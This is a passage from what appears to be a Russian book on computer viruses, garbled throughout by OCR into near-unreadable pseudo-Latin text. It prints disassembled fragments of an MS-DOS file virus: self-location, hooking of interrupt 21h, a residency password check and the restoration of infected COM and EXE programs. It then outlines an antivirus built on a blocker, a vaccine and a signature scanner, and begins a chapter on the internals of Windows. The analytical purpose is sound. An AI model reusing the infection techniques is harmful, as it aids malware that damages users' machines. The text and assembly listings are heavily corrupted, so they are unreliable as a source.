3 . 1 0 .2 . A H 3 J1I13 B H pycH oro  KOfla
/1 h  3 a c c e m  6  ji i i  p y  e m  3apaacenH yio /ip030<})H;iy i i  T in aTe iib n o  h 3v ™ m  n o j iv -  

HeHHHil JIHCTHIir ( c m . npHJI05KeHHe).
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OparMeHT 1. HaqimaeTCH koa B H p y c a  c  KJiaccHHecKOH KOMOHnaumi 
KOMaH/i:

0383 E8 0000 call $+3
038E 58 pop bx
038F 83 EB 03 sub bx,3

O p a r \ i e H T  2. /la/iee B H p y c  a a p e c y e T c n  H a  T a 6 i i n i J i y  B e K T o p o B  n p e p b r a a -  

hhh, H3BJieKaeT O T T V / ia  o p u r H H a a b H b iH  o 6 p a 6 o T H H K  n p e p H B a H H H  2 lh  n 
c o x p a n a e T  e r o  B H y T p H  c B o e r o  x e j ia :

; A&pecaivtR H3 Tafi.ntiuy aeKTopoa npepfciaamifi
0392 50 push ax
0393 23 CO sub ax, ax
0395 8E CO mov es.ax
; Coxp3H6Hkie SHyTpn Bnpyca OTapax snaxeHHiS Berropa 2
0397 26
0393 2E 
OSAO 26 
03A.4 2E

A1 0084 bov ax.es:[84n]
89 87 027C mov cs:data_6[bx ],ax
A1 0086 nov ax.es:[86n]
89 87 027E mov worfl ptr cs:data_G+2[bxJ,ax

OparMeHT 3. Cjieayiomee aeiicTBiie, BbinoaH H eM oe BiipycoM, -  npo- 
BepKa HajiHHHH b naMHTH CBoeii pe3naeHTH0H Konim:

03AS B8 A55A mov ax, 0A55Ah ; Hapo/ib
03AC CO 21 int 21h
03A& 3D 5AA5 cinp ax, 5AA5h ; Otk/imk'
038i 74 43 je Already

3anoMHHM «napo;ib» (A55Ah) n « o t 3m b» (5AA5h), ohh HaM eme npn-
TO/IHTCH.

OparMeHT 4. IlponycTHM noapooHoe paccMOTpeHHe / iobo jikh o  a ’lHH- 
Horo, h o  He 0C06eHH0 HHTepecHoro (JjparaeHTa BHpycHoro K o / ia ,  nocBH- 
meHHoro peaiiaeHTHoii ycTaHOBKe Biipyca b naMHTH. UpocTo o tm c th m : H3 

ero aitajnoa mo>kho 3aK.nioHHTb, h to  pe3iiaeHTHbiH ofipaooraiK  BHpycHO- 
ro npepbiBaHHH 2lh fiyaeT pacnojiaraTbcn no CMemeHHio 0A7h o t  Hana/ia 

pe3iiaeHTH0H Konim, pa3MemeHHoii b <OTKycaHHOM» cJ)parM6HTe b KOHne 

nepBoro Meraoairra naMHTH.

03E9 FA
03EA 26' C7 06 0064 00A7 
03f~ 1 2b: A3 0066 
03F5 FS

C-ll
mov word ptr es [34h],
mov es:[86h],ax
sti

New2i ; CweuieHiie = OA/h
i CerMeHT

O p a r M e H T  5. A b o t  3 T a  l ia c T b  B i i p y c a  i ic K J H O M ir r e j ib H O  B a jK i ia  jinx i i a c .  

M s  H ee m h  M o a c e M  H3BJieH b a a p e c a  T e x  y n a c T K O B  B i i p y c a ,  b  K O T c p b ix
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xpaHHTca (|)panvfeHTbj aapa>Keimoij «acepTBW>, -  crapTOBue 6aHTti ana 
.C O M -n p o rp a M M b i n  3ar0Ji0B0HHbie nojw  c hcthhhoh tohkoh Bxo/ta ana 
. E X  E -nporpaM M bi.

03 F6 1E Already: push ds
03F7 07 pop es

npoB epK a  Ti-ina nporpaMMW -HOCMTeJis: EXE turn COM
03 F8 2E: 88 87 0288 mov ax,cs:data_ 12[bx]
03FD 3D 5A4D cmp ax,5A4Dh ; 'ZW?
0400 74 14 je loc„2
0402 3D 4D5A cmp ax,4D5Ah ; ’MZ‘?
0405 74 OF je loc_2

Hepea 'iM a y n p a e nenwR na COK-nporpaimy
0407 BF 0100 mov d i,100h : CTapTOBHiS aflpec nporpaM Mbi

040A 89 05 mov [Si],ax ; B0CCT8H.0BK.Tb nepB tte  2 6aS Ta

040C 8A 87 028A iflOV al.oyte ptr data_i4[Sx]
0 4 1 0 83 45 02 mov [di+2 ],al ; BoCCTaHijBHTb T p e T ilii O a i'T

0413 58 pop a x

0 4 1 4 CJ p u s h Cll , 100t! ~ B CT6*
0 4 1 6 C3 r<?tn ; n e p e x o a  hs s t o t  a a p e c

HepejjaMa ynpaBnenno na EXE-nperpamiy
0416 Ioc_2:
0416 58 POP a x

0417 8C DA mov dx, ds
0419 83 C2 10 a dc dx,10h
041C 2E: 01 97 0282 add word ptr cs:data_8+2[bx ],dx
0426 8E 02 mov S S , dx : SOCCTaHOBMTb

0428 2E: 88 A7 0284 mov 3 p ,cs.d a ta _10[D x ] ; nono*eH > ie  c t s k s

042D 2E: FF AF 0280 jm p d w o rd  p t r j s : d a t a _ 8 [ b x ]  ; f le p e x o f i

HTaK, 3 CTapTOBbix oaiiTa COM-nporpaMMbi xpaHHTca no CMemeHino 

28Ah, a 4 6aHTa CTapon tohkh  Bxo^a b EXE-nporpaMMV h 2 oaiiTa cTapo- 
ro no^oaceHHH CTeKa -  no cMeuieuHMM 280h h 284h ot Ha^ajia BHpycHoro 

Koaa.
OparaeHT 6 . I43vhhm 3ao^no h oomyio cxpyKTypy pean/ienTHoro 06- 

pa6oTHHKa npepbiBaHHH 21h. oHa HaM Toace npuroflHTca:

0432 New21:
0432 FB sti
0433 30 4BOO cmp a x , 4B00h 3 to s a n y c i-  nporpaM M bi7

0436 74 51 je lo c _ 8

Q438 80 FC 11 Cttip a h ,1 1  n 3 t o n o n cK  n e p B o ro  k a i i / ia 0

043B 74 0D je lo c _ 3

043D 8u FC 12 cmp a n , 12n . 3 t o noHCK c.neflyioiiiero Gatina'
0440 74 08 je loc_3
0442 3D A55A cmp ax,0A55Ah 3 t o sanpoc "napo/itr?
0445 74 3F je loc_7
0447 E9 019A jmp loc_26
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E cjih  pa36npan>cH b  no,apo6HocTHx ycTp o iicT B a  3Toro o6pa6oTqiiKa, to  

m o jk h o  ODHapyjKHTb h  nponeaypy aapaaceHHH, h  cnoco6, K0T0pbiM BHpyc 
OTJiinaeT 3apa*:eHHbie nporpaM M bi o t  «3flopoBbix» (npecJioByTbie «62 ce- 
KVH/ibi>), h  MexaHH3M o6ecne*ieHHH ^h c b h /ih m o c t h * , h  MHoroe /ipyroe. 
H o jv i f i  o6HapyaceHHH h  y/taJiemiH «3/iHKa>> s to  yace He TaK BaacHo.

3 . 1 0 .3 .  n m u e M  a m n B i ip y c

CHanajia Heo6xoaiiMO onpeaejitiTbca: Hero m m  wfleM ot stoio  aim iBii- 
pyca?

IIpeflno.ToacHM, mm xothm orpamiHHTb pacnpocTpaiieHne «3;iMKa*- no 

rpvnne MaiiiHH, Meayiy kotopmmh ii/jeT nocroHHHbiii ooMeit nporpaMM- 
hmmh cjiafuiaMH (TaKaji cmyaniiH HMeeT MecTo, HanpHMep, b cTyaeH- 
MecKOM AHcn.JieftHOM KJiacce HaicaHVHe ceccHH). Jinn stoh  nejiH mojkho 

nanncaTb:
O «6 jio K iip o B m H K » -  pe3 ii;ieH Tnyio  npo rpaM M y, KOTOpas npiiTBO - 

pseTCH BH pycoM , «n paB H J ibH o » OTBenaeT Ha 3 an p o c  n a p o jia  ii He 

aaeT, TaKiiM  o6pa30M , H acT oam eM y B H p ycy  «B H p B a T b c n »  113 3 ap a - 

aceHHOH n po rpaM M bi;

O <sBaKm iHaTop» -  nporpaM M y, KOTopan ooxo^ht bcc He3apaaceHHM e  

eme nporpaMMHHe 4>aiiJiM n  npHiiy/uiTe/ibiio cxaBiiT hm mstkv 

<62 ceKVHflbi».
H o flJIH O’ lHCTKU 3aBHpyC0BaHH0II MaillHHH I10na/I06HT€H aHTHBHpyC 

Tima «cKaHep-(J>ar».
Cuaqajia na/io npn/tyMaib cnoco6 o 6 h a p y ac e h h h BHpyca. Kone'ino, 

np«3HaK «62 ceKyHiibi»  He ro a h t o i  . 3 t o  koci5chhmh npmnaic Hajnwiia  

Biipyca, TaK na3MBaeMaH « c jia 6a x  c im ia m y p a ». Xoth JieT 15 Ha3afl cyme- 
cTBOBa.Tii 4aHTiiBiipycbi», nbiTaBuiHeca pacno3HaTb «3/niKa» hckjikwh- 
TeJibHo no CTOJib HeHaiie>KHOMy KpHTepnio. IlpeAc'TaBKre ce6e, KaK noBeji 
6bi ce6n TaKoii <saimiBJipyc» Ha ManiHHe c «BaKUHHHpoBaHHbiMH»  npo- 
rpaMMaMii! HTaK, Hazio Hcn0Jib30BaTb nojiHoueHHbie oaftTOBbie cHraaTy- 
pbi. IlpHMeM ue.iecoo6pa3Ho sto  cje/iaTb TaK, hto6m o^hv h Ty ace curaa- 
Typy M0acH0 6h jio  ncn0Jib30BaTb ajih oonapyaceHHH h Biipyca b (fjafuie, 
ii ero pe3H/ieHTHOH KonHH -  b naMflni. IlosTOMy nycTb cnrHaTypoii no- 
cjivjkht nenoHKa H3 10 6>aiiT0B, HawHaiomaHCH co CMemeHHH 0A7h o t Ha- 
najia BHpycHoro KO/ia (cm. BHiue, 3TO rjiaBHbiii C[)parMeHT pe3HfleHTHoro 
o6pa6oTMHKa npepbiBaHHH 2 lh ): <FB  3 D  00 4B 74 51 80 FC  11 74».

Biipyc J ie reo  H a im i b naMHTH cpa3y nocjie nocjie^nero M C B . Ahthbh- 
pyc flojiaceH  o6e3Bpe/(HTb ero -  3a6nxb KO/iaMH KOMaiuibi « N O P »  16 6aft- 
TOB, Ha'IHHaiOUIIlXCH b pe3 naen T H oii KoniiH  co CMemeHHH 0A7h. IIoc;ie 

sroro Biipyc noTepneT cnoco6HocTb aapaacaTb 3anycKaeMbie nporpaMMbi
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h CKpfaiBaTb CBoe npHcyrcTBHe Ha KOMnbioTepe (a  cnoco6Hocxb oTBenaTb 
Ha «napo jib» nycrb Ha bchkmh cJiynaH ocTaneTca). KpoMe Toro, aHTHBH
pyc nepecTaHeT o6napy>KHBaTb ero b naMHTH.

06Hapy5KHB BHpyc b COM-nporpaM M e, aHTHBHpyc aoaaceH H 3 B / ie 'ib  

H3 ero Teaa (n o  cMememiio 288h) 3 oam a h  BmicaTb h x  b Hanaao s t o h  

nporpaMMbi.
O onapym iB  Biipyc b EXE-nporpa.MMe, aHTHBHpyc aoaJKen u3BneHb H3 

ee Te.'ia (no  CMeiuemiHM 280h h 284h) aaHHbie o TOHKe Bxoaa b nporpaM
My ii o nojioasemui CTdta h Bepnyrb hx Ha npeacmie MecTa b 3aro;ioBKe 

E X E -4)aMaa.
Ilocjie 3Toro (h  sjih C O M -, n n n a  EXE-nporpaMMbi) Haao oTce^b o t  

K O H ija  <J>aHJia 651 o a H T .

IicxoflHbie TeKCTbi cooTBeTCTBViomux nponeavp npHBeaenbi b  npn.no- 
/KeHHH.

3.11. MS-DOS-enpycbi b anoxy Windows
.. .O h  pacmpotaHHO noxjtoruui Menu no ruieuy u 
cKa3tm: *Crnapan leapdux!..*

A. h  B. C T p y r a n K i i e .

« B T o p o e  H a iu e c T B H e  M a p c n a n »

Bee cymecTByromne Bepcini onepaiuioHHoii c n c T e M b i W indow s yMean, 
yMeioT ii, BepoHTiio, oyayr yMen> b aa.ibHeihne.M BbinojiHHTb nporpaMMbi, 

conaaHHue aaa  pa6oTbi b M S -D O S ’. Xot>i, no MHerono nporpaMMiicTOB 
ii3 (|>npMbi Microsoft, aa ii caMoro EiiJiJia refrrca, Heo6xoaiiMocTb noa- 
aep>KHBarb «ycTapeBiuHe» <f>opMaTw nporpaMM ciuibHo caep^KiiBaex pa3- 
BHTiie coBpeMeHHbix oriepaiiHOHHbix chctcm, aeJiaeT hx apxiiTeKTypno 

HeoaHOpoaHblMH H HenaaOKHblMlI.
H o  KaK 6bi to hh 6bmo, M S -D O S  noKa >khb. W indow s 95/98/M E co- 

aepjKaT b cbohx «H e a p a x » nojinouennbie Bepcnn (7.0 h 7.1) stoii one- 
pamiOHHOH CHCTeMbI H, B IipHHUHUe, aa>Ke noaaep»CHBaiOT B03M0>KH0CTb 
«OTcrrerHBaTb» o t hhx rp0M03aKVK> 32-pa3pHaHyio rpacjMHecKyio 060- 
aoMKy2. W indow s N T/2000/X P  nonra b hojihom o6beMe MoaeanpyioT 

paoory M S -D O S  5.0 h, cooTBeTCTBeHHo, Toace iio3bo.t>hot BbinojiHHTb 

noa cbohm ynpaBJiemieM «crapbie» nporpaMMbi. Ecjih e c T b  ;*cejiaHHe 

3anycTHTb M S-D O S-nporpaM M V H3-noa 64 -6htobhx Bepcnn W indow s

1 H j ih  64-6htobmx Bepcnn Windows 3to yJKe He T a K .

2 Ton nee, hjih Windows ME r a K a a  BoaMoacHocTb xoth h  itMeerex, ho H e  aokv- 
M e i m i p o B a n a  h  H C K y c c T B e H H O  c K p u t a  ot r a a s  n o j ib 3 0 B a T e j if l .
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Vista/7, to  k ycjiyraM riojib30BaTejw BHpTyajibHbie M a m iiiib i  c T o p o n H H X  

n p 0H 3B0/iH Te.TeH , H a n p H M e p  DosBox.
K o M n tiO T e p H b iH  B iip y c ,  c jjo pM a/rtno  smnsiHcb C O M - h j i h  E X E -npo - 

rpaMMOH, TO>Ke c n o c o 6eH >KHTb h  pa a M H o a ca Tb ca  no/i y n p a B J ie m ie M  c o -  

B p e M e H H b ix  o n e p a n H O H H b ix  c n c Te M .

H M e io T C H  j i h  H a  c o B p e M e H H b ix  KOMnbioTepax ueJin n,Jin 3 a p a a c e H i in  M S -  
DOS-BHpycaMH? HecoMHeiiHO. KaTaJior «C .:\ W in d o w s\ C O M M A N D »  

Ha MauiHHe c ycTaHOBJieHHOH W indow s 9X  Becb a a n o J in e H  c h c t c m h u m h  

yTHJ IH T H M H , O ^ O p M J ie i lH b lM H  B  B H i ie  caMbIX 06b IK H 0B e H H b lX  C O M - H 

EXE-nporpaMM. H m c i o t c h  'r a K H e  nporpaMMbi 11 b KaTajiore «C :\ W in N T \  

S Y S T E M 3 2 * H a  MauiHHe c W indow s ceMeficTBa NT, h  flocTyn k  hum Bcer- 
; ia  oncpbiT jjih  n o j ib 3 0 B a 'r e j iH ,  o 6 ; i a ; i a io in e r o  npaBaMii <• AuMHHiicTpa'ro- 
pa». He cjie/iyeT 3a6biBaTb h  o MiioroMiicjieHHbix K O M n b iO T e p H b ix  nrpax, 
0 6 0  Bcex s t h x  cTapbix Aoopux TeTpucax, D igger’ax h  Goblins’ax, k o t o -  

pue no^qac ropas/io 6ojiee iicKpeiiHii h  V B J ie K a r e J ib H b i,  mcm coBpeMeiiHbie 
«M ypxyxH W » h «3jibie r m iH K H  *  .

ilapaaoKcajibHO, ho b HbiHeuiHiix vcjiobhhx rnancbi Ha pa3MHO>KeHHe 

h  p a c n p o c T p a H e H iie  n o jiy n a r o T  60.Tee n p H M H TH B H b ie , H e ncno.ib3yio- 
m n e  H e a o K y M e H T H p o B a iiH b ix  « H a B o p o T O B »  B H p y c b i. C o B p e M e iiH b ie  B e p - 

c rn i W i n d o w s  othochtch jioajibHo TOJibKO k  « n p a B iu ib H o »  H a n n c a H H b iM  

MS-DOS-riporpa.MMaM. HanpiiMep, Jiio6bie Mammyjihuhh B H p y c a  c  S F T  

« h a T K H y tca »  H a HecooTBeTCTBHe o jK im a e M o ro  h aeiicTBHTejibHoro (Jjop- 
M aTO B  3toh Ta6jiHUbi; n  pamoii f lo c T y n  k c e icro p a M  BHHHecrepa uepe3 n p e 

pbiBaHHe I3h o y /ie T  saojioKiipoBan 32-pa3pa;iH0H O n e p a n H O H H O H  c u c T e -  

M OH; B H p y c , H C n O JIb 3 yK )IIIH H  3JIH c B o e ii p a 6o T b i 0C06eHH0CTH C Tp o e H H H  

c Jm h jio b o h  c u c T e M b i FAT, n e M iiH y e M o  « 3 a 6 jiy z u iT c a »  b  «JiaoiipHHTax» 
ne3HaKOMOH eMy (}> aiu ioB oH  chctcmh N T F S  11 t. a ., h  t. n . 3aTo B H p y c , 

i ic i io ; ib 3 y K jim ii i  TO JibK O  < i i<y m e n  r  h  p o b a h  11 bi c bosmojkhocth onepanHOH- 
hoh c u c T e M b i, H e 6yaeT HMeTb cepbe3Hbix npeiMTCTBHH. TaKHM o o p a s o M , 

bhcokocjiojkhmh n o jiH M o p < {)H K  T H iia  Zhenghi n o H T i i  HaisepHHKa bhsobct  

npn 3anycKe cwcTeMHyio ouih6ky, a npocTeHbKHH Vienna.648 6ucTpo h  

oecrrpenHTCTBeHHO riepesapaacaer Bee / lo e Ty rm b ie  e.viy (J ja iijib i.

IIostom v M S-D O S-BH pycbi no-iipe/KiieMy pa6oTocnoco6HH, x o t h  

BpM/i .tih CMoryr B b i3 B a Tb  6ojiee h j i h  M eHee o iu v t h m v io  3rm;ieMHio. «C.Ta- 
p w e »  u p o rp a M M W  peflK O  n e p e n o c a T C H  c o jh oh  M a u iH H b i n a  a p y r y io .  Pac- 
npocTpaHeHHe M S-D O S-BH pyca, B b ip B a B iu e ro c a  Ha cB OO O Ay, HeMimyeMO 
6yzterr orpaiiHHeno c T e n a M H  C T y a e n n e c K o r o  K O M n b io T e p H o ro  KJiacca h j i h  

3aBOflCKOH K O H TO p b l. O  Ta K O M  B H p y c e  n O lIT H  H H K T0 H e V 3 H a e T. Ero aBTop- 
c tb o m  H e nepea KeM  6y/iex n o x B a c r a T b c a .

B h / ih m o , H M eH H O  n o s T O M y  H OB bie M S-DO S-BH pycbi n e p e c ra .T H  c o 3j ia - 

BaTbCSI. O hh  n p O C TO  BWUIJIM M3 MOflbl.



fAABA

OaCiAOBbie Bupycbi
b W i n d o w s

McTopHH onepauiioHHoii cHcxe.Mbi M S  W indow s na'ia.'iacb eme b cepeAH- 
He 80-x TOflOB XX Beica. ho AOJiroe BpeMX o KOMnbiOTepHbix Bupycax, pac- 
npocTpaHHiomnxcH b axoii cpeae, minero ne 6mjio cjibiumo. Bojiee xoro, 
6bixoBa;io MHeHiie (aKXHBHo noAAepaaiBaBweeoi caMoft c})npMOH-pa3pa- 
6othhkom), hto W indow s -  onepaiiMOHHaa CHCTeMa, b KOTopofi KOMiibro- 
TepHaa «3apa3a» He mojkct cymecTBOBaTb b npHHumie. Ha caMOM ae^e  
npaKTHHecKii no cepe/in Hbi 90-x toaob XX BeKa oiiepauHomiaa cucTeMa 

M S  W indow s npocTo He HB/iMJiacb craHAap'raoH chctcmhoh cpe,ion j im i  

I I3 B M , cooTBeTCTBeHHO. ee npiiMena.ao b cBoeft pa6oTe He TaKoe vjk 
oojibmoe KOJiiinecTBo n0Jib30BaTeJieii 11 uporpaMMiicTOB. h Bupyconnca- 
Te;iH y>K tohho ne bxoahjhi b hx hhcjio.

CHTyamm pe3Ko im ieim .iacb c bm xoaom  nepBofi o6iueaocn:nHOH 

32-pa3paaH0H Bepcim stoh  onepamioHnoii chctcmw , a hmchho  M S  

W indow s 95. BnpycomicaTe.nn sana.xiicb ee H.syHemieM, ji onenb cKopo 
cTajio acuo: BHpycbi ju m  W indow s B03M0Jiaibi!

Bojiee T o r o ,  o h h  « b o 3m o jk h m »  ao ciix nop.

4 .1. CMcreMHaH opraHM3aLU4$i Windows
Oh HeMed.neuno u cmpacmHo 3aeepiui Mena, vmo 
(upemm Heooo6pa3UMO cjiojkhuu, umo unmet a 
o h , ddeJibeeuc, cum m  nouuMaem, umo maM u 
k ue.uy.

A. h B. CxpyrauKHe. «CKa3Kao TpoHKe*-

C . ' ie A y e T  OTMeTHTb, hto, b  oTJiHHue o r  M S -D O S , onepamioHHaa cucTe- 
Ma M S  W in d ow s  npeACiaBAaeT coooh nejioe ceMeHciBO nporpaxiMHbix 

n p o A y K T O B ,  H . ' ic H b i K O T o p o r o  n o A n a e  O T J i i in a io T C f l A p y r  ot A p y r a  ao- 
BO.'IbHO C H JIbH O , a  OHCHb MHOXHe ( h  OHeHb B a > K H b ie !)  n O A p O O H O C T H  H X
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CTpoeHHfl HHKOraa He flOKVMeHTHpOBaJIHCb (J)HpM0H_pa3pa60TtIHK0M. 
Ho fljra H3yneHHH KOMnbiOTepHbix BiipycoB, cneuHcjwHecKHX zijih MS 
Windows, Bee paBHO Heo6xo/(HMO xoth  6h  noBepxHocrHoe 3H3HHe oc- 
HOBHblX IipHHUHIIOB yCTpOHCTBa H 4>3rHKUHOHHpOBaHHSI 3T0H OTiepaHH- 
OHHOH CHCTeMbI.

Mbi ov/ieM paccMaTpHBaub Bee Bepcnn Windows TaKHM 06pa30M, cjiob- 
ho ohh pa36nTbi Ha Tpn 6oJibuiHe rpynnw.

Ipynna Windows 3X BKjnonaeT b ce6n MJia/piiHe Bepcnn stoh  onepa- 
niioHHon cncTeMbi (TOHHee, b Te BpeMena OHa HBJiHJiacb eme «rpacJ>HHe- 
ckoh o6o.toiik oh »). Bepcnn 1.0, 2.0, Windows/286 h Windows/386 He 
oyayr paccMaTpHBaTbcJi cobccm, KaK 6e:tna/ie>KHo ycTapeBiiiHe h coBep- 
meHHo neaKTyajibHbie b Korn-cKcre aaiiHOH khhth. 3aTO onpe/ie.neHHoe 

BHUMairae 6yaeT y/tejieno 16-pa3paflHbiM BepcHHM 3.0, 3.1 h 3.11 for 
Workgroups, K0T0pbie HB.iH.'incb Biio/me «BiipycoonacHbiMH» bo BpeMeHa 

CBoero pacnpocxpaneHHM ( n e p B a a  nojioBHHa 90-x fo/iob XX BeKa).
Fpynna Windows 9X BKJiioHaeT b ce6a Bepcnn 95, 98 h Millenium 

Edition (M E ). 3 th  (npeHMymccTBeimo) 32-pa3pH;nn>ie oiiepamioniibie 
cncTeMbi paccHHTaHbi na HHaHBHaya.abHoro «,aoMamnero» nojib30BaTe.ra 
h ao chx nop Koe-rae HcnoJiKsyrorcM.

Fpynna Windows N T BK.iioqaer b  ceon Bepcnn Windows 4.0 (Work
station h Server), Windows 2000, Windows XP, Windows Vista h Win
dows 7. 3 th  iio/iHocThto 32-pa3psi,T.Hbie onepamiomibie chctcmu opiieH- 
THpOBailbl B OCHOBHOM Ha «KOpnopaTHBHV10» paOOTy B CeTH, HO aKTHBHO 

Hcno.ab3yioTCH KaK «H ap a 6ore», TaKh «flOMa»-. Bepcnn WindowsNT 1.0, 
2.0 h 3.X He pac'CMa'rpHBaKjTCH, KaK peztKO ncn0Jib30BaBiuiiecH bo Bpe- 
Mena CBoero pacnpocTpaneHHH (cepeaim a 90-x roaoB XX BeKa) h na Ha- 
CTOtflUHH MOMCHT nO.’IflOCTblO BblTeCHeHHbie OOMCC CTapiUHMH BepCHHMH.
Bepcnn Windows 2003/2008 Server TaK»ce He paccMaTpHBaioTCfl b ciijiv 
cBoeii neoojibuxoH pacnpocTpaHeHHOcra cpez»i MaccoBoro n0jn>30BaTeia.

4.1.1. Oco6eHHOCTH aflpecauMM
CoBpeMeHiibie Bepcnn MS Windows opiieHTnpoBaHbi Ha bo3\io>khocth 

nponeccopoB i386+. Mbi oyaeM noHHMaTb iio j stum oooana'ieHHeM Bee 

Moae/iH nponeccopoB Intel, naHHiiaa c i386, 4epe.3 MiioroHHCJieiiHbie 

Pentium’bi, biijioti, ao coBpeMeHHbix Core iX n Atom, a TaK>Ke cobmcctii- 
Mbie c hhmh pa3pa6oTKii cjjiipM AMD, Cyrix h npo'ine. 3 th nponeccopbi 
MoryT paooTaTb b Tpex peaum ax [30]:

O  b peajibHOM pe>KHMe;

O b samiimeHHOM peacHMe;
O b pe>KHMe BupxyajibHoro 8086.
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P e a jib H u u  p e x u M  i3 8 6 +  n paK T m ecK H  n o jm o cT b io  cooTBeTCTByeT p e- 

acHMy, b KOTopo.M p a6oTaK>T n p o iie c c o p u  i8086 , i8 0 8 8  h  i8 0 1 8 6 ,3a hckjiio- 
HeHHeM T oro , hto c yB ejiH H em ieM  HOMepa B epcm i n p o u ecco p a  bchkiih pa3 

B03pacTaeT K o jiH 'iecxB o  A o c ry ii i ih ix  nporpaM M e p era cT p oB  h M am iiH iib ix  

KOMaHA. H a n p iiM ep , yase HaHHHah c n p o u ecco p a  i3 8 6  nporpaM M a (Aaace 

3an ym eH H aa b MS-DOS) m o jk c t BbinojiHHTb MauiHHHbie KOManzibi BSF/ 
BSR (iiohck  6n r a ) ,  oop a m aT b ca  k 3 2 -6 iitob m m  pern cTpaM  o o m ero  na- 

3HaneHHH (r u n a  EAX hjih ESI), a TaioKe Hcn0Ab30BaTb b cbohx Hyxciax 
AonoAHHTe.JibHbie cerM eHTHbie p era cT p b i FS 11 GS.

P e M U M  e u p m y a j t b u o z o  8086 (MHor/ia ero HasbiBaioT VM86), HBjiHHCb 
pa3H0BiinH0CTbK) 3amMmeHHoro peaatwa, n.iiH npHKJiaAHbix nporpaMM 
.viajio 'icm OTJiiwaeTCH ot pea.TbHoro pê KHMa. OnepaiinonHoii ace CHCTe- 
Me V M 86 n03B0.’iaeT, HanpHMep, HMeTb HecKOJibKO He3aBHCHMHX Biip- 
Tyajlbilbix aapecHblX npOCTpaHCTB, B KaJKAOM M3 KOTOpbIX BblllOAHHeXCH 
oxaejibnaa Konna MS-DOS.

3aiu,ume.HHbiu p e m  iLM -  dto ochobhoh pejKHM, b kotopom  paooxaiox co- 
BpeMennbie B epcH ii MS Windows. Ecjih 6biTb oojiee xohhmm , to HeKoxo- 
pbie BepcHii MS Windows M oryx  no Mepe hcooxoahmocth nepeKjnonaTbca 
b pea iibH b iii peacHM h b peaoiM BiipTyajibHoro 8086, ho iiotom  Bee paB- 

ho B03BpamaioTC>i b samnineiiHbiH peaciiM. B stom pexaiMe nporpaMMe, 
b oom eM  cjiynae, ao ctvuh h  BcnoMoniTejibiibie p eracT p b i coctohhkh npo- 
neccopa CR0-CR3, oxjiaAOHHbie p era cx p b i DR0-DR7, peracxpbi raojinu 
A ecK p im T op oB  GDTR, LDTR, ID T R 11 TR h  M acca « hobmx»  KOMaHA.

H3BecTHbi ABe pasHOBHflHOCTH 3amnmeHHoro pe>KHMa [30], IlepBaa 
iicrio.TibsyeT cerMeirrHvio, a Bxopaa -- cxpaHHHHyio opraHH3amno onepa-
THBHOH naMHTH.

4 .1 .1 .1 .  C e z M e H m n a x  o p z a H U 3 a u ,u n  a d p e c n o i o  

n p o c m p a n c m e a

O H a npeAycM aTpuBaeT , hto Bee cf>H3HHecKoe npocTpan cTB o IK O B M  

pa36HT0 Ha paA cemeHTOB. A A p e c  K aK o ii- jn i6o  h h ch k ii naMHTH, k  k o t o -  

p o fl npeAnoAaraeTCH  A ocxyri, 3aAaeTcn b b h a c  n a p b i: {c e jie ic ro p , cM em e- 

H iie }. C e n e K t n o p ,  i io a o 6h o  cerMeinuoii nacTH aApeca p ea jibH oro  pejK iiM a, 

3arpy>KaeTCH b 1 6 '6 h to b u h  c e rM e H T H b iii  p e r n c x p . AnaJioriiHHo 3 2 -6 h to -  

boc  c M e iu m u e  p a cn o A a ra eT ca  .11160 b h h ack ch om  periiCTpe, j ih 6o. b c jiy -  

nae npHMOH aApecam -m , coA epaciiTca  HenocpeACTBeHHO b k o a c  M aw H H iio ft 

KOMaHAbi. AA pecatiH H  6 a 3 iip veT ca  n a  noHHTira d e c K p u n m o p a  c e iM .e H .m a  — 

6 4 -6 h to b o h  3anHCH, c.oAepacameH «n a c n o p x »  T o ro  cerM eHTa, b k o to p o m  

p acn o jia ra eT cn  iiH Tepecy iou iaH  nneiiK a naMHTii. F Io jihm h A ecK p iin Top a  

h b jih io tc h  6 a : i o e u u  a d p e c  cerMeHTa (h j ih  npocTo « 6 a 3 a > ) ,  e ro  pa3 M ep
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(TOHnee, TaK Ha3biBaeMbifi n p ed e ji hjih Jiu M um ) ii ypoBeHb npHBHJiernfl, 
KOTopbiii HeoDXOflHMO HMeTb cejieKTopy /Ijih aocTyna k stomy cerMeHTy 
(noJie DPL -  descriptor privilege level). /lecKpnnTopbi no cBoeMy Ha- 

ana'ienHK) rpynmipyiOTCH b cneunajibHbie rna6 .m u u  decKpunmopoe, a  c e -  

JieKTop (TO’inee, ero CTapman 12-6HTOBaH >iacTb) iirpaeT pojib HHjieKca 

B 3THX Ta6jIHIiaX.
/Inn MJiaziiimx 6nTa cejieKTopa ( n o J ie  RPL -  requested privelege level) 

xapaKTepn3yioT ero ypoBeHb n p H B H J ie r i iH .  IlpHKJiajnaH nporpaMMa, 
nbiTaiomaHca o6paTiiTbCH k H H e H K e  naMHTH, c a M a  p a c n o j ia r a e T c n  b H e -  

kotopom cerMeme, aapecyeTCH KaKHM-TO cejieKTopoM h, cjie/ioBaTejibHO, 
To>Ke o6jia,naeT onpe^ejienHbiM ypoBHeM npiiBiuierHH (e ro  H a 3 b iB a io T  

CPL -  current privilege leve l), /[jih Toro hto6m ycnennio oopaniTbCH 
k ce.'ieKTopv. ee CPL /{OJiJKen c00TBeTCTB0BaTb ero RPL. B cboio cie- 
pe/ib, RPL cejieicropa yvtacTByex b onpeaejienim bo3mojkhocth a o c r y n a  

k aecKpiinTopy. Ecjih o n  H e  cooTBeTCTByeT ypoBino, 3 a  (}) h  k c h  p o  b a h h  o  m y 
b nojie DPL aecKpmiTopa. to  noiibiTKa / t o c T y i ia  k cerMeHTy ( a  3H a< u iT , h  

k iiHTepecyromefi HieMKe naMHTii) oTBepraeTcn nponeccopoM. B npoTHB- 
hom cjiyyae 32-6htobmh aapec iiHTepecyroinen hhchkh BbiHiicjraeTca KaK 
cyMMa 6a30Boro aapeca c e r M e H T a  h cMemeHiiH, h no hcmv ocymecTB.iaeT- 
CH HOpMaJIbHblft /IOCTVTI k HHeiiKe (cm. piic. 4.1).

C w eiueH ne
_  32
1 — A

CeneKTop
TaSnnua flecKpHirropoB

flecKpuntop
32

-►  Aflpec

Pmc. 4.1 ❖ C e rM e H T H a n  a f lp e c a u n f l

I lp o n e c c o p  « n o H H M a e T »  c j ie a y io m n e  r a n b i  c e rM e H TO B :

O  « H e c n c T e .M H b ii i>  c e r M e H T  i i c n o J iH H e M o r o  K o a a ;

Q  « H e c n c T e M H b if t »  c e r M e H T  a a H H b ix ;

O  <<H ecH CTeM H biii» c t c k o b h h  c e n n e H T;

